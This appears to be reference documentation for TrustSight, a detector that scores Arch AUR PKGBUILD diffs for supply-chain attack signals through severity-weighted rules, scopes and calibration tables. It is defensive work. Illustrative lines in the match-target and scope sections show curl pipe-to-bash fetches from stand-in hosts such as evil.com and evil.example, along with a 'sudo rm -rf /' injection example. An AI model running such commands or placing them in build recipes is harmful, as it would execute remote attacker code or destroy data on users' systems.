Skip to content

Rule System Reference

How the rule engine works: the fields a rule carries, how severity becomes weight, what the series prefixes mean, and which identifiers are reserved. Individual rule definitions live on the category pages; every rule id below links to its own.

TrustSight uses rules to detect structural signals in PKGBUILD diffs. Each rule contributes to the final score based on its severity weight, match target, and scope.

How scoring uses rules

The final score is computed from four signal sources. Rules are the primary source (Tier A):

Score formula:

base = sum(severity_weight for each fired rule)
base += source_bucket_modifiers (Tier B)
base += novelty_weights scaled by maturity (Tier C)
final = clamp(base, 0, 100)

If a FATAL rule fires, the score is immediately set to 100 regardless of all other signals.

How severity weight maps to risk

Each severity level carries a weight that reflects its information value: how often does this signal fire on benign packages versus malicious ones?

Severity Weight Fire rate on benign corpus Meaning
FATAL 0 (hard-stop) Never Score immediately set to 100. Package is attempting to deceive the reviewer.
CRITICAL 40 Rare Almost certainly malicious if triggered. curl pipe bash, sudo in functions.
HIGH 25 Low Strong signal. Checksum manipulation, unexpected downloads.
MEDIUM 15 Moderate Notable but not definitive. Install file changes.
LOW 5 High Weak signal. Demoted from higher severity if corpus fire rate exceeds 30%.
INFO 0 Variable Recorded for audit trail only. No score contribution.

A CRITICAL rule on its own (weight 40) puts a package into the review queue under the default profile, whose threshold is 20. A single HIGH rule (weight 25) does the same, and so do two MEDIUM rules (15 + 15 = 30). The threshold is a workload choice rather than a property of the score: [review] profile moves it to 40 (quiet) or 10 (strict) without changing any weight, band or arithmetic, and the report carries the profile and its effective threshold beside the flagged decision so a reader can see which queue produced it.

How match_target selects what the rule sees

PKGBUILDs encode meaning at two levels. The text of the file declares structure (variables, arrays, function boundaries). The resolved values of those variables determine what actually runs. Rules target one or the other:

  • resolved target: the rule pattern is applied to the post-variable-expansion value of each function body and source array. This catches patterns hidden behind variables: curl $url | $shell in the diff becomes curl https://evil.com/hook.sh | bash after resolution.
  • raw_line target: the rule pattern is applied to the literal diff line with the +/- prefix stripped. This catches patterns in the PKGBUILD structure itself: a sha256sums=('SKIP') declaration or a unicode bidi override character.

Some patterns are only visible at the raw level (structure, declarations, unicode characters). Some are only meaningful after resolution (actual URLs, command strings). The two-target design covers both surfaces.

Both targets see logical lines, not physical ones. A shell continuation is joined before matching, so a command split across a trailing backslash is still matched as a whole:

curl \
  https://evil.example/x.sh | bash

Rules match one line at a time, so without this the pipe-to-shell patterns would see only curl \. Only lines carrying the same diff marker are joined, so an addition is never spliced onto a removal.

How scope reduces false positives

Scope restricts which lines a raw_line rule checks. Without scope, a rule like H004 (sudo) would fire on every line containing the word sudo, including comments (# sudo is required), messages (echo "sudo needed"), and top-level declarations (groups=('sudo')). The function_body scope restricts matching to lines inside build(), package(), check(), and similar functions where commands actually execute.

Scope is set per-rule in rules.toml. When absent, the rule matches all lines. Scope has no effect on resolved-target rules because resolution already strips comments and top-level declarations.

The message context applies only when a line is nothing but a message. A shell line does not end at its first command, so echo "x"; sudo rm -rf / is an execution context, not a message, and echo "$(curl evil | bash)" runs a command substitution inside the quotes. Any command separator (;, &, |) or substitution ($(, backtick) after the message keyword disqualifies the line, which is what stops a short prefix from switching a scoped rule off.

A scope entry may also name the enclosing function rather than a generic context. This distinguishes cases that function_body alone cannot: curl inside build() is routine, while curl inside pkgver() reaches the network during version resolution, before any review step. R051 uses scope = ["pkgver"] for exactly this.

A named scope asks whether the code runs during that function, not whether it is written inside one, and those are different questions because the reviewed party chooses the function names:

_fetch() { curl -fsSL https://evil.example/x.sh -o "$srcdir/x.sh"; }
build()  { _fetch; bash "$srcdir/x.sh"; }

_fetch is not build, so keying on the enclosing name let a rename work as an evasion. Scope therefore follows the call graph: a line resolves to every function whose execution reaches it, transitively and through $(...). The graph is built over the whole current PKGBUILD where the analysis has it, not only the diff hunk, so a helper added by one diff still connects to the build() that calls it from unchanged lines. ScopeResolver in src/trustsight/rules.py is the single implementation, shared by the config-driven scope field and by the rules in analysis/build.py and analysis/delivery.py that ask the same question in Python.

A finding names the indirection rather than claiming the wrong location: _fetch(), called from build() downloads ..., so the reader is sent to the line that holds the code.

Note that a bare function header (build() {) is classified as other, not function_body: the context applies to the lines inside the braces. A header that also carries code, though, is function_body, because that code really does run there: build() { curl evil | bash; } is matched by function_body-scoped rules, and the context does not leak to the lines that follow.

A pattern that matches the header while scoping itself to function_body therefore misses the ordinary multi-line form and only fires on single-line definitions; trustsight lint-rules reports this as scope-contradiction.

How rules map to evidence tiers

Tier Rule sources What they measure
A (Structural) R001-R059, R078, R091, R099, R104, R144, H001-H097, S001-S008, X001-X025, C001-C009, D001-D004 Direct pattern matching against PKGBUILD commands and structure
B (Priors/Context) Source bucket classification Domain reputation of new URLs (not a rule, but a scoring input)
C (History/Novelty) URL and maintainer novelty First-seen signals from the local database
D (Verification) Checksum, PGP, GPG presence Declared integrity metadata, reported at weight 0
Reported, not scored W001-W006 Analysis boundaries: bytes the package will run that this run could not read. Weight 0, always shown.

Rules only contribute to Tier A. Tiers B and C are computed independently and added to the score alongside the rule contributions.

Tier D contributes nothing to the score. Declared verification is emitted as weight-0 P001-P008 findings and reported to the reader: TrustSight never fetches, so it cannot confirm that a declared key signs anything, and a signal an attacker can assert for free must not be able to lower a score. See B10.

Declared-practice findings (P001-P008)

The P namespace reports practices the recipe declares, not risks that were found. The P prefix exists so a reader seeing P0xx in the output knows at once that it is not a risk finding. Every one is INFO, weight 0, and checkable by the reader against the file itself. Defined in src/trustsight/scoring.py; rendered from DECLARED_REASONS.

Id Meaning
P001 Checksums declared for all non-VCS sources (sha256sums)
P002 validpgpkeys declared
P003 A signature source accompanies a source, with PGP keys declared
P005 Source pinned to a full commit hash (checksum_pinned)
P006 Source pinned to a tag - the weaker pin, which H033 exists to flag because a tag can be repointed
P007 Source hosted on a trusted forge over HTTPS (trusted_forge bucket)
P008 Source tracks a branch or unpinned ref, so upstream decides at build time what this compiles and runs

P004 is skipped, so the family has seven members rather than eight. Four of them - P002, P003, P005 and P008 - render unprompted; the other three render under --verbose. Stating every declared practice on every package would bury the risk findings, which is the opposite of what the group is for, so the default set is the ones a reader would find surprising by their absence - plus P008, which is the one whose presence is the notable thing. The set is DECLARED_DEFAULT in src/trustsight/scoring.py.

P008 is the counterpart P005/P006 never had. A recipe that pins says so; one that tracks a branch produced no line at all, and "nothing" reads exactly like "pinned" to anyone scanning the group. It is deliberately not a coverage gap: the statement is true of every VCS package by design, and raising a gap would put 20.1% of the locked benign corpus (653 of 3,246 diffs) into Inconclusive, which buys alert fatigue rather than information. The band is left alone and the reader is told what the recipe declares. The rest render under --verbose. The P namespace contrasts with H033/H049/H059: those fire when a practice is changed, these report when one is present. No P finding can lower a score - B10.


R-series and H-series (core detection rules)

Two namespaces, distinguished by mechanism rather than by subject. An R-series rule is a regex defined in ~/.config/trustsight/rules.toml and loaded at runtime by load_rules() in src/trustsight/rules.py; you can read it, retune it, or switch it off. An H-series rule is a heuristic emitted by an analysis module because it needs diff context a single-line regex cannot see - what changed, what it changed relative to, what the corpus has seen before - and it has no entry in rules.toml.

The fields below describe an R-series rule. H-series rules carry the same severity, category and weight vocabulary in their findings, but they are not configured through this file.

Each rule supports these fields:

Field Type Description
id string Rule identifier. Every id in rules.toml is an R id: R001-R003, R007-R008, R010-R013, R017, R039-R059 and R144.
name string Human-readable name.
pattern string Python regex applied to the match target.
severity string FATAL, CRITICAL, HIGH, MEDIUM, LOW, or INFO.
category string Semantic category (network_execution, obfuscation, installer, privilege, network_usage, injection, unicode, integrity).
match_target string "resolved" : apply to variable-resolved command strings after tokenization. "raw_line" : apply to raw diff lines after stripping the +/- prefix.
scope list[string] (Optional, raw_line only) Restrict matching to line contexts (["function_body"], ["message"], ["other"]) or to a named PKGBUILD function (["pkgver"], ["package"], ["package_foo"]). When absent, matches all lines.
added_only bool (Optional, raw_line only) Match only added (+) lines. Raw diff lines include removals, so without this a maintainer deleting a suspicious line raises the score. All R039+ rules set it.
experimental bool (Optional) Skip the rule unless [rules] experimental = true in config.toml. Used for rules whose false-positive rate has not been measured against the benign corpus.
include_comments bool (Optional) Also match comment lines, which are filtered out for every other rule. Only for rules whose target is the reader rather than the shell (R012, R013): a commented-out command does not run, but a comment is exactly where an injection or a hidden character lives.

R001

See R001: Remote Script Execution.

R002

See R002: Wget Pipe to Shell.

R003

See R003: Base64 Decode and Execute.

H001

See H001: Checksum Disabled.

H002

See H002: Checksum Emptied.

H003

See H003: Insecure Download Protocol.

R007

See R007: Install File Modification.

R008

See R008: Unexpected File Download.

H004

See H004: Privilege Escalation.

R010

See R010: Uses curl in PKGBUILD.

R011

See R011: Uses wget in PKGBUILD.

R012

See R012: Prompt Injection Detection.

R013

See R013: Unicode Bidi Override.

H005

See H005: validpgpkeys Added.

H006

See H006: New Make/Opt/Check Dependency.

R017

See R017: Setuid/Setgid Permission.

H007

See H007: Symlink Redirect.

H008

See H008: Suspicious Environment Variable.

H009

See H009: Network connection attempt.

H010

See H010: Suspicious file write.

H011

See H011: Sensitive binary execution.

H012

See H012: Strace detection attempt (TracerPid check).

H013

See H013: Strace log truncated (possible flood evasion).

H014

See H014: Eval or Exec Usage.

Severity weights

Configured in config.toml [severity_weights]:

Severity Weight
FATAL 0 (hard-stop score at 100)
CRITICAL 40
HIGH 25
MEDIUM 15
LOW 5
INFO 0

FATAL rules

R012 and R013 are shipped FATAL rules. H056 can also emit a FATAL finding when a current package fact matches an IOC whose confidence is confirmed; lower-confidence IOC matches use lower severities. FATAL findings contribute 0 weight to the running total but immediately set final_score = 100 and risk level "Critical". No other rules are evaluated for weight contribution after a FATAL fires; the short-circuit is in calculate_score() at src/trustsight/scoring.py. R012 and R013 are the shipped rules protected from configuration removal or downgrade; H056's severity is derived from the signed/local indicator confidence tier.


C-series (code, structural rules)

Generated by _structural_findings() in src/trustsight/analysis/structural.py. Not configurable via TOML. Fire based on structural comparisons between the diff and the post-diff state. Each one compares the before and after of the diff; a checksum that changed while the source stayed put, a URL swapped without a version bump; which a pattern matched against one line at a time cannot express. Comparisons use _pkgver_changed_in_diff() to detect pkgver= value changes.

_structural_findings() is shared by analyze_package() (live) and scan_diff() (offline replay), so the two pipelines cannot drift apart.

C001

See C001: Checksum Changed Without Source Change With Stable Version.

C002

See C002: Checksum Updated With Version Bump.

C003

See C003: Source URL Changed Without Version Bump.

C004

See C004: Checksum Removed For Unchanged Source.

C008

See C008: Unread Content Moved Under A Stable Version.

C009

See C009: Unread Content Moved With The Version.

C005

See C005: Binary Artifact From Untrusted Source.

C006

See C006: Maintainer Change With New Source Domain.

C007

See C007: Command Substitution In Source Array.


Expanded ruleset (R039+)

These rules roughly double the pattern-based detection surface. They are enabled by default, having been calibrated against a 3246-diff stratified benign corpus: fourteen fire on zero benign diffs, and every remaining hit was inspected individually; all but one were true positives. Enabling them costs 0.5 percentage points of zero-rate and leaves p95 unchanged.

The experimental flag remains supported for future additions. A rule carrying experimental = true is skipped unless config.toml sets:

[rules]
experimental = true

Numbering jumps over R015, R026-R038 to keep the core and expanded ranges readable. H005 and H006-H014 shipped as TOML rules and are documented above; R015 and R026-R038 are reserved: they are referenced by nothing in the shipped config and must not be assigned casually, because a maintainer rule that reuses an id already present in a user's rules.toml would silently change what the user's override means.

Every raw_line rule below sets added_only = true.

R039

See R039: Eval With Dynamic Content.

R040

See R040: Shell -c With Dynamic Payload.

R041

See R041: Shell Network Redirection.

R042

See R042: Download Then Execute.

R043

See R043: Base64 Blob Decode.

R044

See R044: Interpreter One-Liner With Network.

R045

See R045: Binary Encoding Pipe.

R046

See R046: Source URL Uses IP Address.

R047

See R047: Source URL Uses Non-Standard Port.

R048

See R048: Source URL On Free Registrar TLD.

R049

See R049: Compiler Plugin Or Loader Override.

R050

See R050: Compiler Hardening Disabled.

R051

See R051: Network Access In pkgver.

R052

See R052: Dotfile Written To User Profile.

R053

See R053: Setuid Or Setgid Bit Set In Package Root.

R059

See R059: Setuid Or Setgid Bit Set Outside Package Root.

R054

See R054: Persistence Unit Outside Package Root.

R055

See R055: Git Clone With Variable Branch.

R056

See R056: Download Then Source.

R057

See R057: TLS Verification Disabled.

R058

See R058: Write Outside Package Root.


H015

See H015: Critical Build Function Modified.

H016

See H016: Hidden Network Fetch In Build.


Measured fire rates

The detailed rows below were measured against the 3,246-diff benign corpus with a 209,909-name dependency corpus. They are per-rule hit counts from a single run and are not regenerated on each push. All D-series, H016-H019, and H035-H036 rules are on by default, as are the code-emitted rules H037-H079. These are false-positive rates: every hit is a benign package.

The numbers are enforced, not just recorded. scripts/calibration_gates.py replays the corpus against the shipped configuration in a temporary directory with a cold database, and fails the build if any scoring rule exceeds a 0.30 fire rate, if benign p95 reaches the malicious p5, if a weight-0 annotation starts scoring, or if a labelled attack fixture stops being detected. It runs on every push. Class C and Class D rules are absent from this table because they cannot fire on a stateless diff at all, which is itself one of the gates.

For a complete reference including the core and expanded rules, see Fire Rates.

Rule Severity Fires Rate Read
D004 HIGH 0 0.00 % No false positive across the 2084 corpus diffs that declare provides/replaces.
H017 HIGH 4 0.12 % Three are mullvad-vpn-bin, which sets a setuid bit and enables a unit from post_install(). The fourth is claude-desktop-bin, whose _fix_sandbox() helper - reached only by following the call graph - sets 4755 on the Electron sandbox binary. Real privileged behaviour in both, which is the point.
H018 HIGH 0 0.00 % Zero, because it asks where the patch comes from rather than whether it is declared. The broad "not in source=()" form measured 2.13 %.
H019 MEDIUM 1 0.03 % transset-df, a genuine https to http downgrade.
H020 INFO - - Not calibrated: fires on any recent update, which is inherently time-of-run dependent.
H021 INFO - - Not calibrated: fires on packages < 30 days old, which is a small and shifting set.
H022 MEDIUM - - Not calibrated: fires when the user's last analysis is > 1 year old, which varies per database.
H023 INFO - - Not calibrated: zero-weight metadata; context only.
H024 HIGH 1 0.03 % Near-zero; matches the predicted rate.
H025 HIGH/MED 8 0.25 % All HIGH (LD_ vars). No MEDIUM fires in corpus.
H026 HIGH - TBD Not corpus-measurable; requires live git history.
H027 INFO 515 15.87 % INFO weight 0; not a scoring impact.
H029 HIGH 2/179 pkgs 1.12 % Measured via package-name scan with seeded DB. Fires on dosbox-x and electron36.
H030 MEDIUM 11 0.34 % Measured with seeded DB (209,909-name seed). Well under the 30% gate.
D001 HIGH 5 0.15 % Comfortably low for HIGH. All five are real package names that simply nothing else in the AUR depends on (kde-rounded-corners-x11, python2-gevent-eventemitter, udfclient-fuse3), not parser noise.
D002 HIGH 0 0.00 % No false positive anywhere in the corpus. Bounded by D001, which it refines.
D003 MEDIUM 15 0.46 % Almost all are git added to fetch submodules, the legitimate case the MEDIUM severity anticipates.
H015 INFO 694 21.4 % Why it is INFO. No narrowing reaches triage quality (pkgver unchanged still leaves 11.6 %, a bump that also edits build() is 9.8 %), so it carries weight 0 and reports context instead of scoring. Harmless at that weight, hence on by default.
H016 HIGH 7 0.22 % The hits are real build-time downloads (apple-fonts, ttf-ms-win-*, gamescope-nvidia), which is the behaviour the rule exists to surface rather than noise.
H031 MEDIUM 0 0.00 % Needs both an unsafe literal version and its interpolation into a source URL.
H032 HIGH 1 0.03 % A legitimate $HOME/.config/...log write from a post_upgrade.
H033 HIGH/MED 4 0.12 % Maintainers tracking a moving patch branch under a fixed version, which is the shape the rule describes.
H034 MEDIUM 6 0.18 % Schemes outside the shipped allowlist.
H038 HIGH 0 0.00 % mktemp -d is excluded wholesale, so private scratch directories never count.
H041 HIGH 0 0.00 % The one paste-host reference in the corpus is a gist download, which is H016's.
H039 HIGH 0 0.00 % Reads the unit's ExecStart, not its filename.
H040 INFO 0 0.00 % env was dropped after a sed expression read as a command position.
H042 HIGH 0 0.00 % Deliberately the quietest of the persistence group.
H043 INFO 0 0.00 % A benign diff with one or two hits cannot reach three distinct stages.
H056 tiered 0 0.00 % With the shipped (empty) list and with a synthetic one. A positive control (github.com) fires on 1561 diffs, so the surface extraction is real.
H062 MEDIUM 4 0.12 % Packages that legitimately ship pacman hooks.
H063 MEDIUM 0 0.00 % An unchanged epoch never surfaces in a hunk.
H064 HIGH/MED 0 0.00 % Related name shapes suppress; cold start cannot fire.
H065 INFO 0 0.00 % Weight 0. Anchoring the check on an ANSI-C quote opener removed four regex end-anchor false positives.
H067 HIGH 0 0.00 % Architecture checks are not probes.
H068 HIGH 0 0.00 % A type check on decoded bytes, so encodings do not need enumerating.
H069 HIGH 0 0.00 % Heredoc bodies are excluded from command scanning.
H071 HIGH 0 0.00 % Command-position anchored; a client in makedepends is a declaration.
H072 HIGH 0 0.00 % Still zero after the execution match was widened to a path with arguments.
H076 HIGH 0 0.00 % A representative backdoor fixture goes from 25 to 50 with it.
H077 HIGH 3 0.09 % One package resolving a redirect with curl at the top level, which really does fetch on a metadata refresh.
H078 HIGH/MED/INFO 6 0.18 % Two introductions and four upstream key rotations.
H079 HIGH/MED 3 0.09 % One wine package that genuinely disables FORTIFY_SOURCE.

Getting D001 from 5.95 % to 0.15 % took two extractor fixes, both found by this measurement rather than by review:

  • An unbounded fallback for unquoted array entries read shell fragments (if, [[, !) out of a package() body as dependency names.
  • Comments inside dependency arrays contributed every word of the note (required, because, disabled).

Both are covered by regression tests in tests/test_deps_rules.py.

H017

See H017: Install Hook Fetches Or Executes.

H018

See H018: Patch Applied From Outside The Build Tree.

H019

See H019: Source URL Downgraded To HTTP.


Temporal context rules (H020-H022)

Defined in src/trustsight/analysis/temporal.py. They inspect git commit timestamps on the AUR repository to surface temporal signals. None require a diff, so they also fire on first-seen packages in _make_fresh_analysis() (in pipeline.py).

All three are on by default with no config toggle.

H020

See H020: Very Recent Update.

H021

See H021: Brand New Package.

H022

See H022: Stale Package Revived.


Install and build context rules (H023-H025)

Defined in src/trustsight/analysis/build.py and src/trustsight/analysis/pipeline.py. They inspect the diff for changes to security-critical build and install infrastructure - hooks that run as root, signature verification that gets dropped, environment variables that subvert the compiler.

H023

See H023: Install Hook Present.

H024

See H024: GPG Verification Removed.

H025

See H025: Build Environment Subversion.


Maintainer and capability rules (H026-H027)

H026

See H026: Untrusted Maintainer Takeover.

H027

See H027: Capability Density Anomaly.


Temporal metadata (H028) - not a scored finding

H028

See H028: Accelerated Release Cadence.


Naming rule (H029) - package-name typosquat

H029

See H029: Package-Name Typosquat.


Dependency-set expansion rule (H030)

H030

See H030: Dependency-Set Expansion.


Install and build context rules (H035-H036)

Defined in src/trustsight/analysis/build.py. They inspect install hooks and build-function content for additional risk signals. Both are enabled by default, and both fire on zero diffs of the benign corpus.

H035

See H035: Foreign Package Manager In Install Hook.

H036

See H036: Shell Obfuscation Density.


D-series dependency rules

Defined in src/trustsight/analysis/dependencies.py, not in rules.toml. They compare the dependency arrays before and after the diff and consult the local database, so they cannot be expressed as a pattern over a single line.

They also have to bypass the engine's own filtering: rules.py strips depends, makedepends, optdepends, and checkdepends lines before any pattern runs, which is why extraction lives in src/trustsight/deps.py.

All D-series rules are enabled by default. Disable them individually under [experimental_rules].

D001

See D001: Novel Dependency Added.

D002

See D002: Typosquatted Dependency.

D004

See D004: Dependency Hijack Via Provides.

D003

See D003: New Network-Using Makedepends.


Network-surface rules (H031, H033, H034, H041, H071, H077)

These six ask one question in different places: what does this recipe reach over the network, in which direction, and when.

H031

See H031: Version-In-URL Injection.

H033

See H033: Moved Git Ref.

H034

See H034: Exotic Source Protocol.

H041

See H041: Upload To Paste Or File-Drop Host.

H071

See H071: Covert Egress.

H077

See H077: Parse-time Network Fetch.


Install-path persistence (H032, H038, H039, H042, H062, H076)

One shared write-target resolver backs this group (analysis/persistence.py): install/cp/mv/ln destinations including -t DIR, > redirects, and the verb-substitution forms tee, dd of=, mkdir -p, touch, rsync and sed -i. Every match is command-position anchored, so a quoted string such as 'cp x ~/.zshrc' never reads as a write.

H032

See H032: Write To User Home Or RC.

H038

See H038: World-Writable Staging.

H039

See H039: Systemd ExecStart From Runtime-Writable Path.

H042

See H042: Hidden Drop.

H062

See H062: Pacman Hook Installed.

H076

See H076: Build Writes Outside Staging Root.


Reconstruction and delivery (H065 to H072, H075, H080, H081 to H085)

H065

See H065: Obfuscated Literal Reconstructed.

H080

See H080: Indirect Command Expansion.


H066

See H066: Embedded Binary In Tree.

H067

See H067: Anti-Analysis Check.

H068

See H068: Reconstructed Executable Payload.

H069

See H069: Build-time Generation Then Execution.

H070

See H070: Archive Trailer Anomaly.

H072

See H072: Write Then Execute.

H075

See H075: Indirect Remote Execution.

H081

See H081: Committed File Executed Without Declaration.

H082

See H082: Fetch Then Execute.

H083

See H083: Downloaded Source File Executed.

H084

See H084: Service ExecStart Targets Undeclared Binary.

H085

See H085: PATH Injection With Undeclared Directory.


Composition (H040, H043)

Both are annotations. Neither adds weight, so neither can turn an UNFLAGGED package into a flagged one on its own.

H040

See H040: Host Reconnaissance.

H043

See H043: Attack-Chain Composition.


Integrity and trust (H078, H079)

H078

See H078: Signing Key Set Changed.

H079

See H079: Build Flags Weakened.


Class B: declaration-scope rules (H063, H064)

H063

See H063: Epoch Introduced.

H064

See H064: Provides/Replaces Scope Expansion.


Class C: longitudinal rules (H037, H047 to H051, H054)

Class C rules do not read a diff. They read PropertyBreak records from the corpus property layer: a value that held for many consecutive observations and then changed. Every one of them is silent on a cold database by construction, because the first observation of a property only inserts it.

The [longitudinal] stability_floor (default 10) is the gate: a value must hold at least that many consecutive observations before a change is reported at all. Above the floor the weight ramps logistically, reaching roughly 0.9 by about 40 observations.

H037

See H037: Long-Stable Property Changed.

H047

See H047: Security-Relevant Build Flag Change.

H048

See H048: Dependency Vendored Into Source.

H049

See H049: Source Host Changed.

H050

See H050: Version Scheme Changed.

H051

See H051: Package Description Changed.

H054

See H054: Build System Changed.


Class D: corpus rules (H026, H044, H045, H046, H052, H053, H055, H057, H058, H059, H060, H061, H073, H074)

Class D rules describe the corpus, not a package. They run once per metadata cycle in trustsight full-aur, after the per-package loop, and each returns one finding per cluster, with the members in params.members. They are silent without a prior snapshot: the calibration gate is fire_rate(no_baseline) == 0.

H026

See H026: Untrusted Maintainer Takeover (corpus path).

H044

See H044: Ownership Transition.

H045

See H045: Mass Adoption.

H046

See H046: Orphan/Adoption Dependency.

H052

See H052: Shared Source Repository.

H053

See H053: Name/Host Consensus Divergence.

H055

See H055: Attribute Burst.

H057

See H057: Transitive Exposure.

H058

See H058: Maintainer Baseline Deviation.

H059

See H059: Name/Repo Divergence.

H060

See H060: Transitive Orphan Exposure.

H061

See H061: Dependency Centrality.

H073

See H073: Introduction Rate Deviation.

H074

See H074: Adopt-then-Modify.

Additional Per-Package Rules

H086-H088 are per-package findings, not Class D corpus findings. S001-S008 and X001-X025 are the sabotage and crossfire families; their category pages are authoritative for their conditions and severities.

H086

See H086: Adopted From Orphan.

H087

See H087: Recipe Changed Without Upstream.

W002

See W002: Build Resolves Dependencies From A Registry.

W003

See W003: Applies A Patch This Analysis Did Not Read.

W006

See W006: Generated File Names A Build-Only Path.

W005

See W005: Build Runs A Target Whose Recipe Was Not Read.

W004

See W004: Build Engine Runs A Manifest This Analysis Did Not Read.

X022

See X022: Generated Config Handed To The Tool That Reads It.

X023

See X023: Command Output Executed As A Script.

X021

See X021: Executor Runs A File Chosen At Runtime.

X020

See X020: Recipe Writes The Build Steps The Engine Runs.

W001

See W001: Executes Code This Analysis Did Not Read.

H095

See H095: Boot Or Image Artifact Built From The Source Tree.

H094

See H094: Unread Script Executed During Packaging.

H093

See H093: Committed Config Points At A Build-Only Path.

H092

See H092: Metadata Names A Source The Recipe Does Not.

H091

See H091: Checksum Array Shorter Than Source Array.

H090

See H090: Committed Companion Carries A Fetch-Execute Payload.

H089

See H089: Packaged File Names A Build-Only Path.

R144

See R144: Packaged File Points At A World-Writable Path.

H088

See H088: Adopted, Recipe Rewritten, Unpinned Fetch.

X001

See X001: Encoded Payload Decoded And Executed.

X002

See X002: Non-Literal Executable Name.

X003

See X003: Obfuscated Command Argument.

X004

See X004: Build Output Suppressed.

X005

See X005: Home Reached By An Alternative Spelling.

X006

See X006: Source Points Somewhere Unexpected.

X007

See X007: Multiple Evasion Techniques.

X008

See X008: Whitespace A Shell Does Not Split On.

X009

See X009: Fetch Through An Uncatalogued Client.

X010

See X010: Interpreter One-Liner Reaches The Network.

X011

See X011: Package Manager Runs Fetched Code At Build Time.

X012

See X012: Build Toolchain Redirected Into The Source Tree.

X013

See X013: Fetch Redirected Or Trust Root Replaced.

X014

See X014: Environment Variable Names Code To Run.

X015

See X015: Work Scheduled To Run After The Build.

X016

See X016: Fetch Piped Into An Unrecognised Consumer.

X017

See X017: Tool Flag Or Builtin Carries A Command.

X018

See X018: Interpreter One-Liner Assembles A Name.

X019

See X019: Host Material Sent Or Packaged.

S001

See S001: Recursive Self-Spawn.

S002

See S002: Recursive Deletion Outside The Build Tree.

S003

See S003: Raw Block Device Write.

S004

See S004: Secure Deletion Of User Data.

S005

See S005: Permission Change On A System Path.

S006

See S006: System Service Disruption.

S007

See S007: Cryptocurrency Miner.

S008

See S008: Shell History Or Log Destruction.

R078

See R078: Compression Command Override.

R091

See R091: Privilege Escalation Override.

R099

See R099: Trap Statement.

R104

See R104: Error Handling Suppressed.

H096

See H096: Download Agent Override.

H097

See H097: Function Shadowing.

X024

See X024: Indirect Sensitive Assignment.

X025

See X025: Multi-Line Function Shadow.


Class E: indicators of compromise (H056)

H056

See H056: Known Indicator of Compromise.


Not currently a rule

  • H028 (release cadence) is metadata on the analysis record, not a scored finding. See H028.
  • R103 and R109 describe the ruleset's ceiling rather than a detection. See the novelty ceiling.

The R-series identifier space is not contiguous. Reserved ids appear nowhere in the shipped config or the code-emitted rule set:

  • R015, R026-R038: held apart so the core and expanded ranges stay readable, and reassigning them could clash with user rules.toml overrides.
  • R078, R091, R099, R103-R104, R109, R113: unassigned in the current shipped configuration. R103/R109 are claimed above as the novelty ceiling; the rest are simply unused and may be returned to service when a detection needs them.
  • The ninety-five ids retired by the R/H split are retired, not recycled. A stored report, a published baseline and a user's [rules.R###] override can all still name an old id; handing that number to an unrelated new rule would make those references quietly wrong rather than loudly absent. The linter refuses a rules.toml entry that claims one, and the reservation is derived from trustsight.rule_id_history.RENAMED_RULE_IDS rather than restated here, so this page cannot drift from what is enforced. The full mapping is in the changelog.

Benchmark performance

Measured against the TrustSight test corpus.

Two rows measure a narrower configuration

The recall rows above were measured with observation_count unpopulated, so Tier C novelty contributed zero to every score (see Cold Start and Maturity), and against a smaller ruleset than the one documented here. Read them as a floor, not as current recall. The three distribution rows below are re-measured by the calibration gates against the current 3,246-diff corpus on every push.

Rule Recall Notes
CRITICAL class (all) 100 % Every CRITICAL-class sample detected.
R012 (prompt injection) 17 % Tripwire; catches obvious patterns only. Low recall is intentional.
R013 (unicode bidi) 88 % Misses some bidi variants.
Benign zero-rate 68.4 % Percentage of benign diffs scoring 0.
Benign p95 35 95th percentile score on benign corpus.
CRITICAL p5 60 5th percentile score on CRITICAL-class corpus.